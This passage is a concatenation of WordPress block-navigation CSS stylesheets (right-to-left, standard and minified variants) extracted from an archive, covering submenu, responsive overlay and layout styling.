.wp-block-navigation__container > .has-child:last-child .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-page-list > .has-child .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container { right: auto; left: 0; } .wp-block-navigation.items-justified-space-between .wp-block-page-list > .has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-space-between > .wp-block-navigation__container > .has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-page-list > .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container { right: -1px; left: -1px; } @media (min-width: 782px) { .wp-block-navigation.items-justified-space-between .wp-block-page-list > .has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-space-between > .wp-block-navigation__container > .has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-page-list > .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container { right: auto; left: 100%; } } .wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container { background-color: #fff; border: 1px solid rgba(0, 0, 0, 0.15); } .wp-block-navigation.has-background .wp-block-navigation__submenu-container { background-color: inherit; } .wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container { color: #000; } .wp-block-navigation__container { display: flex; flex-wrap: var(--navigation-layout-wrap, wrap); flex-direction: var(--navigation-layout-direction, initial); justify-content: var(--navigation-layout-justify, initial); align-items: var(--navigation-layout-align, initial); list-style: none; margin: 0; padding-right: 0; } .wp-block-navigation__container .is-responsive { display: none; } .wp-block-navigation__container:only-child, .wp-block-page-list:only-child { flex-grow: 1; } /** * Mobile menu. */ @keyframes overlay-menu__fade-in-animation { from { opacity: 0; transform: translateY(0.5em); } to { opacity: 1; transform: translateY(0); } } .wp-block-navigation__responsive-container { display: none; position: fixed; top: 0; right: 0; left: 0; bottom: 0; } .wp-block-navigation__responsive-container :where(.wp-block-navigation-item a) { color: inherit; } .wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content { display: flex; flex-wrap: var(--navigation-layout-wrap, wrap); flex-direction: var(--navigation-layout-direction, initial); justify-content: var(--navigation-layout-justify, initial); align-items: var(--navigation-layout-align, initial); } .wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open) { color: inherit !important; background-color: inherit !important; } .wp-block-navigation__responsive-container.is-menu-open { display: flex; flex-direction: column; background-color: inherit; } @media not (prefers-reduced-motion) { .wp-block-navigation__responsive-container.is-menu-open { animation: overlay-menu__fade-in-animation 0.1s ease-out; animation-fill-mode: forwards; } } .wp-block-navigation__responsive-container.is-menu-open:not(.disable-default-overlay) { padding-top: clamp(1rem, var(--wp--style--root--padding-top), 20rem); padding-left: clamp(1rem, var(--wp--style--root--padding-right), 20rem); padding-bottom: clamp(1rem, var(--wp--style--root--padding-bottom), 20rem); padding-right: clamp(1rem, var(--wp--style--root--padding-left), 20rem); } .wp-block-navigation__responsive-container.is-menu-open { overflow: auto; z-index: 100000; } .wp-block-navigation__responsive-container.is-menu-open:not(.disable-default-overlay) .wp-block-navigation__responsive-container-content { padding-top: calc(2rem + 24px); } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content { overflow: visible; display: flex; flex-direction: column; flex-wrap: nowrap; align-items: var(--navigation-layout-justification-setting, inherit); } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content, .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-page-list, .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__container { justify-content: flex-start; } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon { display: none; } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container { opacity: 1; visibility: visible; height: auto; width: auto; overflow: initial; min-width: 200px; position: static; border: none; padding-right: 2rem; padding-left: 2rem; } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container, .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__container { gap: inherit; } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container { padding-top: var(--wp--style--block-gap, 2em); } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content { padding: 0; } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__container, .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation-item, .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-page-list { display: flex; flex-direction: column; align-items: var(--navigation-layout-justification-setting, initial); } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation-item .wp-block-navigation__submenu-container, .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__container, .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation-item, .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-page-list { color: inherit !important; background: transparent !important; } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container { left: auto; right: auto; } .wp-block-navigation__responsive-container.disable-default-overlay .wp-block-navigation__overlay-container { display: none; width: 100%; } .wp-block-navigation__responsive-container.disable-default-overlay .wp-block-navigation__responsive-close { max-width: none; } .wp-block-navigation__responsive-container.disable-default-overlay.is-menu-open .wp-block-navigation__responsive-container-content > *:not(.wp-block-navigation__overlay-container) { display: none; } .wp-block-navigation__responsive-container.disable-default-overlay.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__overlay-container { display: block; } .wp-block-navigation__responsive-container.disable-default-overlay.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__overlay-container .wp-block-navigation__submenu-container { left: auto; right: 0; } @media (min-width: 600px) { .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) { display: block; width: 100%; position: relative; z-index: auto; background-color: inherit; } .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close { display: none; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container { right: 0; } } .wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open:not(.disable-default-overlay) { background-color: #fff; } .wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open:not(.disable-default-overlay) { color: #000; } .wp-block-navigation__toggle_button_label { font-size: 1rem; font-weight: bold; } .wp-block-navigation__responsive-container-open, .wp-block-navigation__responsive-container-close { vertical-align: middle; cursor: pointer; color: currentColor; background: transparent; border: none; margin: 0; padding: 0; text-transform: inherit; } .wp-block-navigation__responsive-container-open svg, .wp-block-navigation__responsive-container-close svg { fill: currentColor; pointer-events: none; display: block; width: 24px; height: 24px; } .wp-block-navigation__responsive-container-open { display: flex; } .wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open { font-family: inherit; font-weight: inherit; font-size: inherit; } @media (min-width: 600px) { .wp-block-navigation__responsive-container-open:not(.always-shown) { display: none; } } .wp-block-navigation__responsive-container-close { position: absolute; top: 0; left: 0; z-index: 2; } .wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close { font-family: inherit; font-weight: inherit; font-size: inherit; } .disable-default-overlay .wp-block-navigation__responsive-container-close { top: clamp(1rem, var(--wp--style--root--padding-left), 20rem); left: clamp(1rem, var(--wp--style--root--padding-left), 20rem); } .wp-block-navigation__responsive-close { width: 100%; } .has-modal-open .wp-block-navigation__responsive-close { max-width: var(--wp--style--global--wide-size, 100%); margin-right: auto; margin-left: auto; } .wp-block-navigation__responsive-close:focus { outline: none; } .is-menu-open .wp-block-navigation__responsive-close, .is-menu-open .wp-block-navigation__responsive-dialog, .is-menu-open .wp-block-navigation__responsive-container-content { box-sizing: border-box; } .wp-block-navigation__responsive-dialog { position: relative; } .has-modal-open .admin-bar .is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-dialog { margin-top: 46px; } @media (min-width: 782px) { .has-modal-open .admin-bar .is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-dialog { margin-top: 32px; } } html.has-modal-open { overflow: hidden; } navigation/style.css 0000644 00000060057 15217610761 0010573 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-navigation { position: relative; } .wp-block-navigation ul { margin-top: 0; margin-bottom: 0; margin-left: 0; padding-left: 0; } .wp-block-navigation ul, .wp-block-navigation ul li { list-style: none; padding: 0; } .wp-block-navigation .wp-block-navigation-item { background-color: inherit; display: flex; align-items: center; position: relative; } .wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty { display: none; } .wp-block-navigation .wp-block-navigation-item__content { display: block; z-index: 1; } .wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content { color: inherit; } .wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content { text-decoration: underline; } .wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus, .wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active { text-decoration: underline; } .wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content { text-decoration: line-through; } .wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus, .wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active { text-decoration: line-through; } .wp-block-navigation :where(a), .wp-block-navigation :where(a:focus), .wp-block-navigation :where(a:active) { text-decoration: none; } .wp-block-navigation .wp-block-navigation__submenu-icon { align-self: center; line-height: 0; display: inline-block; font-size: inherit; padding: 0; background-color: inherit; color: currentColor; border: none; width: 0.6em; height: 0.6em; margin-left: 0.25em; } .wp-block-navigation .wp-block-navigation__submenu-icon svg { display: inline-block; stroke: currentColor; width: inherit; height: inherit; margin-top: 0.075em; } .wp-block-navigation { --navigation-layout-justification-setting: flex-start; --navigation-layout-direction: row; --navigation-layout-wrap: wrap; --navigation-layout-justify: flex-start; --navigation-layout-align: center; } .wp-block-navigation.is-vertical { --navigation-layout-direction: column; --navigation-layout-justify: initial; --navigation-layout-align: flex-start; } .wp-block-navigation.no-wrap { --navigation-layout-wrap: nowrap; } .wp-block-navigation.items-justified-center { --navigation-layout-justification-setting: center; --navigation-layout-justify: center; } .wp-block-navigation.items-justified-center.is-vertical { --navigation-layout-align: center; } .wp-block-navigation.items-justified-right { --navigation-layout-justification-setting: flex-end; --navigation-layout-justify: flex-end; } .wp-block-navigation.items-justified-right.is-vertical { --navigation-layout-align: flex-end; } .wp-block-navigation.items-justified-space-between { --navigation-layout-justification-setting: space-between; --navigation-layout-justify: space-between; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container { background-color: inherit; color: inherit; position: absolute; z-index: 2; display: flex; flex-direction: column; align-items: normal; opacity: 0; } @media not (prefers-reduced-motion) { .wp-block-navigation .has-child .wp-block-navigation__submenu-container { transition: opacity 0.1s linear; } } .wp-block-navigation .has-child .wp-block-navigation__submenu-container { visibility: hidden; width: 0; height: 0; overflow: hidden; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container > .wp-block-navigation-item > .wp-block-navigation-item__content { display: flex; flex-grow: 1; padding: 0.5em 1em; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container > .wp-block-navigation-item > .wp-block-navigation-item__content .wp-block-navigation__submenu-icon { margin-right: 0; margin-left: auto; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content { margin: 0; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container { left: -1px; top: 100%; } @media (min-width: 782px) { .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container { left: 100%; top: -1px; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container::before { content: ""; position: absolute; right: 100%; height: 100%; display: block; width: 0.5em; background: transparent; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon { margin-right: 0.25em; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg { transform: rotate(-90deg); } } @media (hover: hover) { .wp-block-navigation .has-child:not(.open-on-click):hover > .wp-block-navigation__submenu-container { visibility: visible; overflow: visible; opacity: 1; width: auto; height: auto; min-width: 200px; } } .wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within > .wp-block-navigation__submenu-container, .wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true] ~ .wp-block-navigation__submenu-container { visibility: visible; overflow: visible; opacity: 1; width: auto; height: auto; min-width: 200px; } .wp-block-navigation .has-child.open-always { flex-wrap: var(--navigation-layout-wrap, wrap); flex-direction: var(--navigation-layout-direction, initial); justify-content: var(--navigation-layout-justify, initial); align-items: var(--navigation-layout-align, initial); gap: var(--wp--style--block-gap, 2em); } .wp-block-navigation .has-child.open-always .wp-block-navigation-item { justify-content: var(--navigation-layout-justify, initial); } .wp-block-navigation .has-child.open-always.wp-block-navigation-submenu, .wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container { gap: var(--wp--style--block-gap, 2em); } .wp-block-navigation .has-child.open-always.wp-block-navigation-submenu, .wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container, .wp-block-navigation .has-child.open-always .wp-block-navigation-item { padding-top: 0; padding-bottom: 0; } .wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container { padding-left: var(--wp--style--block-gap, 2em); padding-right: var(--wp--style--block-gap, 2em); } .wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container .wp-block-navigation-item__content { padding: 0; } .wp-block-navigation .has-child.open-always > .wp-block-navigation-item__content, .wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container > .wp-block-navigation-item > .wp-block-navigation-item__content { flex-grow: 0; } .wp-block-navigation .has-child.open-always > .wp-block-navigation__submenu-container { visibility: visible; overflow: visible; opacity: 1; width: auto; height: auto; flex-basis: 100%; position: static; border: none; background-color: transparent; color: inherit; } .wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container { left: 0; top: 100%; } @media (min-width: 782px) { .wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container { left: 100%; top: 0; } } .wp-block-navigation-submenu { position: relative; display: flex; } .wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg { stroke: currentColor; } button.wp-block-navigation-item__content { background-color: transparent; border: none; color: currentColor; font-size: inherit; font-family: inherit; letter-spacing: inherit; line-height: inherit; font-style: inherit; font-weight: inherit; text-transform: inherit; text-align: left; } .wp-block-navigation-submenu__toggle { cursor: pointer; } .wp-block-navigation-submenu__toggle[aria-expanded=true] + .wp-block-navigation__submenu-icon > svg, .wp-block-navigation-submenu__toggle[aria-expanded=true] > svg { transform: rotate(180deg); } .wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle { padding-left: 0; padding-right: 0.85em; } .wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle + .wp-block-navigation__submenu-icon { margin-left: -0.6em; pointer-events: none; } .wp-block-navigation-item.open-on-click button.wp-block-navigation-item__content:not(.wp-block-navigation-submenu__toggle) { padding: 0; } /** * Margins */ .wp-block-navigation__responsive-container, .wp-block-navigation__responsive-close, .wp-block-navigation__responsive-dialog, .wp-block-navigation .wp-block-page-list, .wp-block-navigation__container, .wp-block-navigation__responsive-container-content { gap: inherit; } /** * Paddings */ :where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)), :where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)) { padding: 0.5em 1em; } :where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)), :where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)), :where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content), :where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content) { padding: 0.5em 1em; } /** * Justifications. */ .wp-block-navigation.items-justified-space-between .wp-block-page-list > .has-child:last-child .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-space-between > .wp-block-navigation__container > .has-child:last-child .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-page-list > .has-child .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container { left: auto; right: 0; } .wp-block-navigation.items-justified-space-between .wp-block-page-list > .has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-space-between > .wp-block-navigation__container > .has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-page-list > .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container { left: -1px; right: -1px; } @media (min-width: 782px) { .wp-block-navigation.items-justified-space-between .wp-block-page-list > .has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-space-between > .wp-block-navigation__container > .has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-page-list > .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container { left: auto; right: 100%; } } .wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container { background-color: #fff; border: 1px solid rgba(0, 0, 0, 0.15); } .wp-block-navigation.has-background .wp-block-navigation__submenu-container { background-color: inherit; } .wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container { color: #000; } .wp-block-navigation__container { display: flex; flex-wrap: var(--navigation-layout-wrap, wrap); flex-direction: var(--navigation-layout-direction, initial); justify-content: var(--navigation-layout-justify, initial); align-items: var(--navigation-layout-align, initial); list-style: none; margin: 0; padding-left: 0; } .wp-block-navigation__container .is-responsive { display: none; } .wp-block-navigation__container:only-child, .wp-block-page-list:only-child { flex-grow: 1; } /** * Mobile menu. */ @keyframes overlay-menu__fade-in-animation { from { opacity: 0; transform: translateY(0.5em); } to { opacity: 1; transform: translateY(0); } } .wp-block-navigation__responsive-container { display: none; position: fixed; top: 0; left: 0; right: 0; bottom: 0; } .wp-block-navigation__responsive-container :where(.wp-block-navigation-item a) { color: inherit; } .wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content { display: flex; flex-wrap: var(--navigation-layout-wrap, wrap); flex-direction: var(--navigation-layout-direction, initial); justify-content: var(--navigation-layout-justify, initial); align-items: var(--navigation-layout-align, initial); } .wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open) { color: inherit !important; background-color: inherit !important; } .wp-block-navigation__responsive-container.is-menu-open { display: flex; flex-direction: column; background-color: inherit; } @media not (prefers-reduced-motion) { .wp-block-navigation__responsive-container.is-menu-open { animation: overlay-menu__fade-in-animation 0.1s ease-out; animation-fill-mode: forwards; } } .wp-block-navigation__responsive-container.is-menu-open:not(.disable-default-overlay) { padding-top: clamp(1rem, var(--wp--style--root--padding-top), 20rem); padding-right: clamp(1rem, var(--wp--style--root--padding-right), 20rem); padding-bottom: clamp(1rem, var(--wp--style--root--padding-bottom), 20rem); padding-left: clamp(1rem, var(--wp--style--root--padding-left), 20rem); } .wp-block-navigation__responsive-container.is-menu-open { overflow: auto; z-index: 100000; } .wp-block-navigation__responsive-container.is-menu-open:not(.disable-default-overlay) .wp-block-navigation__responsive-container-content { padding-top: calc(2rem + 24px); } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content { overflow: visible; display: flex; flex-direction: column; flex-wrap: nowrap; align-items: var(--navigation-layout-justification-setting, inherit); } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content, .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-page-list, .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__container { justify-content: flex-start; } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon { display: none; } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container { opacity: 1; visibility: visible; height: auto; width: auto; overflow: initial; min-width: 200px; position: static; border: none; padding-left: 2rem; padding-right: 2rem; } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container, .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__container { gap: inherit; } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container { padding-top: var(--wp--style--block-gap, 2em); } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content { padding: 0; } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__container, .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation-item, .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-page-list { display: flex; flex-direction: column; align-items: var(--navigation-layout-justification-setting, initial); } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation-item .wp-block-navigation__submenu-container, .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__container, .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation-item, .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-page-list { color: inherit !important; background: transparent !important; } .wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container { right: auto; left: auto; } .wp-block-navigation__responsive-container.disable-default-overlay .wp-block-navigation__overlay-container { display: none; width: 100%; } .wp-block-navigation__responsive-container.disable-default-overlay .wp-block-navigation__responsive-close { max-width: none; } .wp-block-navigation__responsive-container.disable-default-overlay.is-menu-open .wp-block-navigation__responsive-container-content > *:not(.wp-block-navigation__overlay-container) { display: none; } .wp-block-navigation__responsive-container.disable-default-overlay.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__overlay-container { display: block; } .wp-block-navigation__responsive-container.disable-default-overlay.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__overlay-container .wp-block-navigation__submenu-container { right: auto; left: 0; } @media (min-width: 600px) { .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) { display: block; width: 100%; position: relative; z-index: auto; background-color: inherit; } .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close { display: none; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container { left: 0; } } .wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open:not(.disable-default-overlay) { background-color: #fff; } .wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open:not(.disable-default-overlay) { color: #000; } .wp-block-navigation__toggle_button_label { font-size: 1rem; font-weight: bold; } .wp-block-navigation__responsive-container-open, .wp-block-navigation__responsive-container-close { vertical-align: middle; cursor: pointer; color: currentColor; background: transparent; border: none; margin: 0; padding: 0; text-transform: inherit; } .wp-block-navigation__responsive-container-open svg, .wp-block-navigation__responsive-container-close svg { fill: currentColor; pointer-events: none; display: block; width: 24px; height: 24px; } .wp-block-navigation__responsive-container-open { display: flex; } .wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open { font-family: inherit; font-weight: inherit; font-size: inherit; } @media (min-width: 600px) { .wp-block-navigation__responsive-container-open:not(.always-shown) { display: none; } } .wp-block-navigation__responsive-container-close { position: absolute; top: 0; right: 0; z-index: 2; } .wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close { font-family: inherit; font-weight: inherit; font-size: inherit; } .disable-default-overlay .wp-block-navigation__responsive-container-close { top: clamp(1rem, var(--wp--style--root--padding-left), 20rem); right: clamp(1rem, var(--wp--style--root--padding-left), 20rem); } .wp-block-navigation__responsive-close { width: 100%; } .has-modal-open .wp-block-navigation__responsive-close { max-width: var(--wp--style--global--wide-size, 100%); margin-left: auto; margin-right: auto; } .wp-block-navigation__responsive-close:focus { outline: none; } .is-menu-open .wp-block-navigation__responsive-close, .is-menu-open .wp-block-navigation__responsive-dialog, .is-menu-open .wp-block-navigation__responsive-container-content { box-sizing: border-box; } .wp-block-navigation__responsive-dialog { position: relative; } .has-modal-open .admin-bar .is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-dialog { margin-top: 46px; } @media (min-width: 782px) { .has-modal-open .admin-bar .is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-dialog { margin-top: 32px; } } html.has-modal-open { overflow: hidden; } navigation/style-rtl.min.css 0000644 00000050354 15217610761 0012153 0 ustar 00 .wp-block-navigation{position:relative}.wp-block-navigation ul{margin-bottom:0;margin-right:0;margin-top:0;padding-right:0}.wp-block-navigation ul,.wp-block-navigation ul li{list-style:none;padding:0}.wp-block-navigation .wp-block-navigation-item{align-items:center;background-color:inherit;display:flex;position:relative}.wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{display:none}.wp-block-navigation .wp-block-navigation-item__content{display:block;z-index:1}.wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content{color:inherit}.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{text-decoration:underline}.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{text-decoration:line-through}.wp-block-navigation :where(a),.wp-block-navigation :where(a:active),.wp-block-navigation :where(a:focus){text-decoration:none}.wp-block-navigation 